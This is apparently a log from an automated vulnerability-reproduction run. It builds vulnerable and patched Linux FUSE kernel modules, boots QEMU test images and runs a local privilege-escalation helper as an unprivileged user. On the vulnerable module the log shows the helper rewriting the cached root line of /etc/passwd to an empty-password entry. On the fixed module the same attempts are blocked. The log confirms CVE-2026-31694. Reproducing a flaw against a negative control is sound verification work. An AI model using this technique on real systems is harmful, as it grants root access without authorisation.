[2026-07-03T18:07:53+00:00] Using Linux source: /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src
[2026-07-03T18:07:53+00:00] Using kernel build directory: /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse
[2026-07-03T18:07:53+00:00] Building malicious FUSE page-cache-corruption proof helper
[2026-07-03T18:07:54+00:00] Preparing vulnerable non-KASAN kernel/module build
make[1]: Entering directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
  GEN     Makefile
  HOSTCC  scripts/basic/fixdep
#
# configuration written to .config
#
make[1]: Leaving directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
make[1]: Entering directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
  SYNC    include/config/auto.conf
  GEN     Makefile
  HOSTCC  scripts/basic/fixdep
  GEN     Makefile
  DESCEND objtool
  INSTALL libsubcmd_headers
  CALL    /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/scripts/checksyscalls.sh
  CC [M]  fs/fuse/readdir.o
  LD [M]  fs/fuse/fuse.o
  MODPOST Module.symvers
  LD [M]  fs/fuse/fuse.ko
Kernel: arch/x86/boot/bzImage is ready  (#1)
make[1]: Leaving directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
[2026-07-03T18:07:58+00:00] Preparing fixed fuse.ko negative control
make[1]: Entering directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
  GEN     Makefile
  DESCEND objtool
  CALL    /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/scripts/checksyscalls.sh
  INSTALL libsubcmd_headers
  CC [M]  fs/fuse/readdir.o
  LD [M]  fs/fuse/fuse.o
  MODPOST Module.symvers
  LD [M]  fs/fuse/fuse.ko
make[1]: Leaving directory '/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse'
[2026-07-03T18:07:59+00:00] Kernel image: /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-build-nokasan-fuse/arch/x86/boot/bzImage
[2026-07-03T18:07:59+00:00] Vulnerable module: unknown
[2026-07-03T18:07:59+00:00] Fixed module: unknown
[2026-07-03T18:07:59+00:00] Primary proof build is non-sanitized: CONFIG_KASAN is disabled
[2026-07-03T18:07:59+00:00] Creating active ext4 rootfs for vuln attempt 1
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<77-9356-d1d6c2a36dfd/bundle/repro/init.rootfs /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<36dfd/bundle/repro/fuse_passwd_lpe /fuse_passwd_lpe
Allocated inode: 21
debugfs:  sif /fuse_passwd_lpe mode 0100755
debugfs:  
<dfd/bundle/repro/fuse-nokasan-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<d/bundle/repro/fuse-nokasan-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<6-d1d6c2a36dfd/bundle/repro/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:07:59+00:00] Booting vuln attempt 1 through QEMU active rootfs
[    1.994235] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
INIT_ROLE=vuln
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_UID_BEFORE=0
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
--- Warmup ---
[*] W1/5 ... HIT (1)
[*] W2/5 ... miss
[*] W3/5 ... HIT (2)
[*] W4/5 ... HIT (3)
[*] W5/5 ... miss
[+] Warmup: 3/5 (60%)
[*] LPE 1/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.:
HIT!
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
[+] An unprivileged process changed the cached contents of a root-owned passwd file without write permission.
INIT_EXPLOIT_RC=0
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
[2026-07-03T18:08:03+00:00] VULNERABLE attempt 1: unprivileged page-cache corruption of /etc/passwd confirmed
[2026-07-03T18:08:03+00:00] Creating active ext4 rootfs for vuln attempt 2
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<77-9356-d1d6c2a36dfd/bundle/repro/init.rootfs /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<36dfd/bundle/repro/fuse_passwd_lpe /fuse_passwd_lpe
Allocated inode: 21
debugfs:  sif /fuse_passwd_lpe mode 0100755
debugfs:  
<dfd/bundle/repro/fuse-nokasan-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<d/bundle/repro/fuse-nokasan-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<6-d1d6c2a36dfd/bundle/repro/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:08:03+00:00] Booting vuln attempt 2 through QEMU active rootfs
[    2.028198] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
INIT_ROLE=vuln
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_UID_BEFORE=0
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
--- Warmup ---
[*] W1/5 ... HIT (1)
[*] W2/5 ... miss
[*] W3/5 ... HIT (2)
[*] W4/5 ... HIT (3)
[*] W5/5 ... miss
[+] Warmup: 3/5 (60%)
[*] LPE 1/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.:
HIT!
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
[+] An unprivileged process changed the cached contents of a root-owned passwd file without write permission.
INIT_EXPLOIT_RC=0
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
[2026-07-03T18:08:07+00:00] VULNERABLE attempt 2: unprivileged page-cache corruption of /etc/passwd confirmed
[2026-07-03T18:08:07+00:00] Creating active ext4 rootfs for fixed attempt 1
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<77-9356-d1d6c2a36dfd/bundle/repro/init.rootfs /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<36dfd/bundle/repro/fuse_passwd_lpe /fuse_passwd_lpe
Allocated inode: 21
debugfs:  sif /fuse_passwd_lpe mode 0100755
debugfs:  
<dfd/bundle/repro/fuse-nokasan-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<d/bundle/repro/fuse-nokasan-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<6-d1d6c2a36dfd/bundle/repro/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:08:07+00:00] Booting fixed attempt 1 through QEMU active rootfs
[    1.994637] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
INIT_ROLE=fixed
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_UID_BEFORE=0
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
--- Warmup ---
[*] W1/5 ... miss
[*] W2/5 ... miss
[*] W3/5 ... miss
[*] W4/5 ... miss
[*] W5/5 ... miss
[+] Warmup: 0/5 (0%)
[-] No warmup hits.
INIT_EXPLOIT_RC=1
INIT_AFTER=root:x:0:0:root:/root:/bin/sh
INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
[2026-07-03T18:08:10+00:00] FIXED attempt 1: oversized dirent failed closed; /etc/passwd unchanged
[2026-07-03T18:08:10+00:00] Creating active ext4 rootfs for fixed attempt 2
debugfs 1.47.2 (1-Jan-2025)
debugfs:  mkdir /bin
debugfs:  mkdir /dev
debugfs:  mkdir /proc
debugfs:  mkdir /sys
debugfs:  mkdir /tmp
debugfs:  mkdir /etc
debugfs:  write /usr/bin/busybox /bin/busybox
Allocated inode: 19
debugfs:  sif /bin/busybox mode 0100755
debugfs:  
<77-9356-d1d6c2a36dfd/bundle/repro/init.rootfs /init
Allocated inode: 20
debugfs:  sif /init mode 0100755
debugfs:  
<36dfd/bundle/repro/fuse_passwd_lpe /fuse_passwd_lpe
Allocated inode: 21
debugfs:  sif /fuse_passwd_lpe mode 0100755
debugfs:  
<dfd/bundle/repro/fuse-nokasan-vuln.ko /fuse-vuln.ko
Allocated inode: 22
debugfs:  sif /fuse-vuln.ko mode 0100644
debugfs:  
<d/bundle/repro/fuse-nokasan-fixed.ko /fuse-fixed.ko
Allocated inode: 23
debugfs:  sif /fuse-fixed.ko mode 0100644
debugfs:  
<6-d1d6c2a36dfd/bundle/repro/passwd.seed /etc/passwd
Allocated inode: 24
debugfs:  sif /etc/passwd mode 0100444
debugfs:  sif /etc/passwd uid 0
debugfs:  sif /etc/passwd gid 0
debugfs:  [2026-07-03T18:08:10+00:00] Booting fixed attempt 2 through QEMU active rootfs
[    1.987092] VFS: Mounted root (ext4 filesystem) readonly on device 253:0.
INIT_ROLE=fixed
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_UID_BEFORE=0
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
--- Warmup ---
[*] W1/5 ... miss
[*] W2/5 ... miss
[*] W3/5 ... miss
[*] W4/5 ... miss
[*] W5/5 ... miss
[+] Warmup: 0/5 (0%)
[-] No warmup hits.
INIT_EXPLOIT_RC=1
INIT_AFTER=root:x:0:0:root:/root:/bin/sh
INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
[2026-07-03T18:08:14+00:00] FIXED attempt 2: oversized dirent failed closed; /etc/passwd unchanged
[2026-07-03T18:08:14+00:00] Vulnerable page-cache-corruption attempts: 2/2
[2026-07-03T18:08:14+00:00] Fixed negative-control attempts: 2/2
[2026-07-03T18:08:14+00:00] CVE-2026-31694 CONFIRMED: non-sanitized vulnerable kernel permits uid 1000 to corrupt the page-cache contents of root-owned read-only /etc/passwd; fixed module blocks it.